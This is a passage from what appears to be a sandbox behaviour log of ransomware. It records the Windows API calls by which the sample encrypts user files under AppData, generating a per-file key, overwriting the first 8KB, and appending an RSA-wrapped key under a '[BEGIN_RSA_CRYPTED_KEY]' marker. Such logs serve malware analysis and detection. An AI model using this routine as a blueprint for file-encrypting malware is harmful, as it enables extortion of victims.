pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.391] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.391] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dPvy3HzjC6eucz0Z5DEC+ezoTFnfeyechG4pNibfHqBaflThQmK/n3WeB0QnlX28\nQKfGlF5i4Qjb+KdKa65wVV/ojsqgFuWo2fM75NCVtxnyPCWrXb0QuyOwkNLa0tJB\nLhPd2s9wZfbMHJefUr1T1wkz3uDuzRw1Tqc3JFnLHuN9yogDtNnJSWZJfIM06Itv\nxmx8+n45i2mTOF6eYdGCS6X02+I6yABjqPrGvPUZ6KE2F5iZ66pLjcAXw4VfmB9Y\nxQlOcaplOskemc+gLfTQOkk5DoR/1V6zUur4qj8fgrTa1nO0zT1/cpCKQw049ppm\nmKjq8e17apk0MXKJVUkPeQ==\n", pcchString=0x2e3f9a8) returned 1 [0196.391] WriteFile (in: hFile=0xd08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.392] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.392] WriteFile (in: hFile=0xd08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.392] CloseHandle (hObject=0xd08) returned 1 [0196.394] WriteFile (in: hFile=0xd14, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.395] CloseHandle (hObject=0xd14) returned 1 [0196.396] WriteFile (in: hFile=0xd14, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.397] CloseHandle (hObject=0xd14) returned 1 [0196.398] WriteFile (in: hFile=0xd14, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.400] CloseHandle (hObject=0xd14) returned 1 [0196.400] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.400] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0196.401] ReadFile (in: hFile=0xd28, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.429] SetFilePointer (in: hFile=0xd28, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.429] WriteFile (in: hFile=0xd28, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.430] SetFilePointer (in: hFile=0xd28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.430] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.430] WriteFile (in: hFile=0xd28, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.431] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.431] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DKYsUqqU8bHQyl2jdB2ZuPAMkPMSnXOUmI9eAzDW5F+6dUhyDQOZKEC1T34//fuV\njE35Vj/Wrb0g++TtYO9mtNIcIVk2goe1guMENdmfzASrDZS5QnPcjbhxFfH2cG5G\nVBvR403PsRfxET66sYw+VOQNXQhXrvER+2RatABlQiiEehDHb4jEtD/i5Sem2PzY\nqGJLe5QQlfP00o+kcecHqceqPnZjhed2Q+1mgmZKNH/AQ2PWbta1UR4U/Lea3JP9\npbw9FRYwAZJEbKpfJPnvo6PRiPsajlhuXe54v1SPACz4fq7XRu3u52eFOkj3me/t\nulGNFh2yn7K80OjdUcQhWg==\n", pcchString=0x2e3f9a8) returned 1 [0196.431] WriteFile (in: hFile=0xd28, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.431] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.431] WriteFile (in: hFile=0xd28, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.432] CloseHandle (hObject=0xd28) returned 1 [0196.481] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.481] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0196.482] ReadFile (in: hFile=0xd28, lpBuffer=0x59d340, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.482] SetFilePointer (in: hFile=0xd28, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.482] WriteFile (in: hFile=0xd28, lpBuffer=0x59d350*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.482] SetFilePointer (in: hFile=0xd28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.482] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.482] WriteFile (in: hFile=0xd28, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.483] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.483] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.484] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.484] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OspGyNyb4DGEcuU27SUkuGhNf7RI6OEOMeHSmwMeuZh2VYkzKoEbcVL8a34gG+Z5\n7XJNhT6pfC5zF5CCnrX87wO1w+sPKKvPKskWzje6ZzzicWdtV05RniMkKfLQpiBO\niU68IdSwH3u2RlWjznAOlzRuR8/xDlKkXk8cyyUjjBt+Xk1jlEVaZ7GJrESM4V8o\nQLowa38z9+fmJR/xE9Y6Zto0Zvi7KIyaoF25ViZa/iL/lDhxUx4ZbBJBjEnFhk0Y\ncI0+Du/Dzb0WrVtyou0bJ99b9UHYFP0rIOhagHRnxExHKLgovV1c1z9tI+dG6Ogk\nwi/Ya2A9tmVXz14mRCg3Ag==\n", pcchString=0x2e3f9a8) returned 1 [0196.484] WriteFile (in: hFile=0xd28, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.484] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.484] WriteFile (in: hFile=0xd28, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.484] CloseHandle (hObject=0xd28) returned 1 [0196.489] WriteFile (in: hFile=0xd34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.491] CloseHandle (hObject=0xd34) returned 1 [0196.491] WriteFile (in: hFile=0xd34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.492] CloseHandle (hObject=0xd34) returned 1 [0196.493] WriteFile (in: hFile=0xd34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.494] CloseHandle (hObject=0xd34) returned 1 [0196.494] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.494] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0196.495] ReadFile (in: hFile=0xd48, lpBuffer=0x59d1e0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.495] SetFilePointer (in: hFile=0xd48, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.495] WriteFile (in: hFile=0xd48, lpBuffer=0x59d240*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.495] SetFilePointer (in: hFile=0xd48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.495] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.495] WriteFile (in: hFile=0xd48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.497] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.497] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.497] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.497] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="iUxSaPBIlxBq3J81oyV+meocZoGMir3HAV9g8FmylTJIysKH875tr84V4y21uVgh\n4EMJEmaLSG/5O+pXap1PuBxgr/LOLbKd72cEK7gTwxRfPObDW23UckTHd8/5TWrS\nHx5kTnoYYpypxlRU84P+91FQvYnbjTkFlVLV5ky0cSli8qFYUd0F3AEiv2KuFzHv\n2jVCVLWVpfr/muMw2o+clRCTXRh0LSH7lGgXQvaMx5v6HAB0z5LraEQ38sHm1p0Z\nUVPHl9UsRJ4itIMRogxk4Y0PRqnd5PkcqXaEC7JUM/dm8CWL2846C6n0uOJMNHjc\n5FG7KJB3+GQicpHPEdSnIg==\n", pcchString=0x2e3f9a8) returned 1 [0196.497] WriteFile (in: hFile=0xd48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.498] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.498] WriteFile (in: hFile=0xd48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.498] CloseHandle (hObject=0xd48) returned 1 [0196.500] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.500] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0196.500] ReadFile (in: hFile=0xd48, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.512] SetFilePointer (in: hFile=0xd48, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.512] WriteFile (in: hFile=0xd48, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.513] SetFilePointer (in: hFile=0xd48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.513] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.513] WriteFile (in: hFile=0xd48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.513] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.513] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.514] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.514] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="G4uR3+iluSUAU3dqcuB7qnon6ZnRtj9FSi4khaVkLBbRi6f1TXCSj019o5QkX9q1\nqTC4/6RtiNJ7Bgdj5Tnaarj9UxaAeKlnqrTH6BsF5B0AzUsGSzCOp2s2CjlolVk+\nPYUmVx0fhgqH8NZ3XCajpflrcNPRFI65pU9GQ2okVs72qEcKv8w3GcWNNprMIsfb\nxbWgsZBJ/Ly8iWedsxtNwq1rE1ba2381eWECYkmN89zIzIl3HFEFUfgv5h2RVPFm\nlkQe04f3wJZWVLjWmXTOxZEvIixgL2luQDRoSroQoqtsAyOV0qHpHN1Fl6DE1mnc\njvEwV4fRSTdm6ZKXeRUyUg==\n", pcchString=0x2e3f9a8) returned 1 [0196.514] WriteFile (in: hFile=0xd48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.514] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.514] WriteFile (in: hFile=0xd48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.514] CloseHandle (hObject=0xd48) returned 1 [0196.516] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.516] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0196.517] ReadFile (in: hFile=0xd48, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.524] SetFilePointer (in: hFile=0xd48, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.524] WriteFile (in: hFile=0xd48, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.524] SetFilePointer (in: hFile=0xd48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.524] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.524] WriteFile (in: hFile=0xd48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.525] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.525] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.525] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.525] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Vtp7DCdSbn3HSflq6pE3UPM+ncYsd6zRUvSEzGAwtx/5TuNcd7dXnLiqPBknGGTU\nkbiluHczBh45VCWM4vGbR3jhFykb7eU4sMv1/eWVTg0/5E0X5OAw63HkdDBwyHxg\nSMXpTgpkC9hl9nxAeejdiGcONMM/dsqRvUsMYYOhAZ7Qb4QZtFxVVRP2cQjU8YoE\noiHNyfuCV/HbkAcLd5a6iiduPb5lyuQgG3fov7vkVnp+jBmz8mDvwO51q726pyCx\njfFbcmZqOs7FEVfsIk+DeP0N48IFh1Hl7RUW7yb12QzlAS/fj3h25g88ju2BLinK\ni7Sjqra/mWlvT50+FbM0qg==\n", pcchString=0x2e3f9a8) returned 1 [0196.525] WriteFile (in: hFile=0xd48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.526] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.526] WriteFile (in: hFile=0xd48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.526] CloseHandle (hObject=0xd48) returned 1 [0196.528] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.528] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0196.528] ReadFile (in: hFile=0xd48, lpBuffer=0x59d390, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.528] SetFilePointer (in: hFile=0xd48, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.528] WriteFile (in: hFile=0xd48, lpBuffer=0x59d350*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.528] SetFilePointer (in: hFile=0xd48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.528] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.528] WriteFile (in: hFile=0xd48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.530] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.530] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.530] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.530] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FVnP7H7g+H39URpURMKGKCWVEajVXZ5EUujI5qZdGwDYjb1ojNGDhjg4mhWE9dKK\nCsKuokElbB+iGHn9+9ZNmcPaCnd7+KitR6cWjwYjBW52W6NM3vRsBuXolRfuQLW8\noZwiY9UiX0MlnxVfqmzRON8PEQV3pPgkLQ7TlPcBXxVlWvWoeNZ0xU7y72JnZilQ\n8EgN+dlgWxchUbWAqQy4y5ix4vBJwBQpl7scVPPSvury6IWolNolBRYQicd1xAwv\nMlpsbs1sREZZ1tekRe0xp1dANwjgZnQTHMLc26KUzq2mHksA1/KprJNd84lwxfRw\noNPXmXkUMlD7ZBy5cQrSEA==\n", pcchString=0x2e3f9a8) returned 1 [0196.530] WriteFile (in: hFile=0xd48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.531] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.531] WriteFile (in: hFile=0xd48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.531] CloseHandle (hObject=0xd48) returned 1 [0196.615] WriteFile (in: hFile=0xd54, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.617] CloseHandle (hObject=0xd54) returned 1 [0196.617] WriteFile (in: hFile=0xd54, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, 